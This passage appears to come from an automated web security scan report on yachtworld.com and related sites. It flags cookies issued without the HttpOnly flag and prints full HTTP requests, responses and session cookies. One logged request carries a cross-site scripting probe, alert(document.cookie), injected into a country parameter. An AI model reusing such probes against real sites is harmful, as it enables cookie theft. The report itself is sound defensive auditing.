s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:42 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Set-Cookie: JSESSIONID=132B8787464974B44186864C9F5B421F.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title> My YachtWorldLoan - yachtworld.com
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-loans/forgot_password.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:41 GMT Server: Apache Set-Cookie: JSESSIONID=F61D5398BBCD60968135F133ABF40C44.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title> My YachtWorldLoan - yachtworld.com
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-loans/myLoan.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:36 GMT Server: Apache Set-Cookie: JSESSIONID=C49ADEF3AACD827887E2EE0BB766CCF9.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title>
boat loans, yacht financing and refinancing - yachtworld.com </title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /north-carolina/boat-registration HTTP/1.1 Host: govguru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh HTTP/1.1 Host: hire.jobvite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=hohum555xhe001j4fainx255; path=/; HttpOnly X-AspNet-Version: 2.0.50727 Set-Cookie: guestidc=04748c45-cae2-4fea-a87a-0039dff74982; expires=Sat, 26-Feb-2011 19:13:08 GMT; path=/ X-Powered-By: ASP.NET Date: Thu, 27 Jan 2011 19:13:08 GMT Connection: close Content-Length: 46678
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <link href="http://hire.jo ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|26A0E41C85163315-40000182C057302B[CE]; Expires=Tue, 26 Jan 2016 19:32:09 GMT; Domain=.yachtworld.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/deyachtworld/1/H.17/s44969984570052?AQB=1&ndh=1&t=27/0/2011%2013%3A32%3A32%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=emailLead_US&g=http%3A//www.yachtworld.com/southpaw/southpaw_5.html&cc=USD&c28=emailLead_US%3AsendLead%3A%28No%20Data%20Entered%29&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev1=http%3A//www.yachtworld.com/southpaw/%23&pev2=Form%20Analysis&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/southpaw/southpaw_5.html Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:32:09 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A0E41C85163315-40000182C057302B[CE]; Expires=Tue, 26 Jan 2016 19:32:09 GMT; Domain=.yachtworld.com; Path=/ Location: http://metrics.yachtworld.com/b/ss/deyachtworld/1/H.17/s44969984570052?AQB=1&pccr=true&vidn=26A0E41C85163315-40000182C057302B&&ndh=1&t=27/0/2011%2013%3A32%3A32%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=emailLead_US&g=http%3A//www.yachtworld.com/southpaw/southpaw_5.html&cc=USD&c28=emailLead_US%3AsendLead%3A%28No%20Data%20Entered%29&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev1=http%3A//www.yachtworld.com/southpaw/%23&pev2=Form%20Analysis&AQE=1 X-C: ms-4.3.1 Expires: Wed, 26 Jan 2011 19:32:09 GMT Last-Modified: Fri, 28 Jan 2011 19:32:09 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www422 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; Expires=Tue, 26 Jan 2016 19:16:55 GMT; Domain=.yachtworld.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/deyachtworld/1/H.17/s48372025459539?AQB=1&ndh=1&t=27/0/2011%2013%3A17%3A16%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/core/listing/cache/pl_search_results.jsp%3Fywo%3Dstarlingmarine%26ps%3D50%26type%3D%26new%3D%26luom%3D126%26hosturl%3Dstarlingmarine%26page%3Dbroker%26slim%3Dbroker%26lineonly&r=http%3A//www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&v22=2%3A15PM&c23=Thursday&v23=Thursday&c24=Weekday&v24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=713&bh=1200&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarine&page=broker&slim=broker&lineonly Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.1.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155836661%7C1298747836661%3B%20s_lv%3D1296155836663%7C1390763836663%3B%20s_lv_s%3DFirst%2520Visit%7C1296157636663%3B
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:16:55 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; Expires=Tue, 26 Jan 2016 19:16:55 GMT; Domain=.yachtworld.com; Path=/ Location: http://metrics.yachtworld.com/b/ss/deyachtworld/1/H.17/s48372025459539?AQB=1&pccr=true&vidn=26A0E25385162B05-600001A6003F61D3&&ndh=1&t=27/0/2011%2013%3A17%3A16%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/core/listing/cache/pl_search_results.jsp%3Fywo%3Dstarlingmarine%26ps%3D50%26type%3D%26new%3D%26luom%3D126%26hosturl%3Dstarlingmarine%26page%3Dbroker%26slim%3Dbroker%26lineonly&r=http%3A//www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&v22=2%3A15PM&c23=Thursday&v23=Thursday&c24=Weekday&v24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=713&bh=1200&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Wed, 26 Jan 2011 19:16:55 GMT Last-Modified: Fri, 28 Jan 2011 19:16:55 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www648 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|26A0FFE785012E5B-6000010D80001CDA[CE]; Expires=Tue, 26 Jan 2016 23:29:19 GMT; Domain=.yachtworld.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/deyachtworld/1/H.17/s59107670621015?AQB=1&ndh=1&t=27/0/2011%2017%3A29%3A54%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=transport_application&g=http%3A//www.boats.com/boat-transport/index.jsp%3Fsource%3Dyachtworld%26yw_country%3DUS33d06%27%253balert%28document.cookie%29//ec734b2bd35&cc=USD&c28=transport_application%3AKForm%3A%28No%20Data%20Entered%29&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev1=http%3A//www.boats.com/boat-transport/%23&pev2=Form%20Analysis&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.boats.com/boat-transport/index.jsp?source=yachtworld&yw_country=US33d06'%3balert(document.cookie)//ec734b2bd35 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 23:29:19 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|26A0FFE785012E5B-6000010D80001CDA[CE]; Expires=Tue, 26 Jan 2016 23:29:19 GMT; Domain=.yachtworld.com; Path=/ Location: http://metrics.yachtworld.com/b/ss/deyachtworld/1/H.17/s59107670621015?AQB=1&pccr=true&vidn=26A0FFE785012E5B-6000010D80001CDA&&ndh=1&t=27/0/2011%2017%3A29%3A54%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=transport_application&g=http%3A//www.boats.com/boat-transport/index.jsp%3Fsource%3Dyachtworld%26yw_country%3DUS33d06%27%253balert%28document.cookie%29//ec734b2bd35&cc=USD&c28=transport_application%3AKForm%3A%28No%20Data%20Entered%29&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev1=http%3A//www.boats.com/boat-transport/%23&pev2=Form%20Analysis&AQE=1 X-C: ms-4.3.1 Expires: Wed, 26 Jan 2011 23:29:19 GMT Last-Modified: Fri, 28 Jan 2011 23:29:19 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www108 Content-Length: 0 Content-Type: text/plain
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
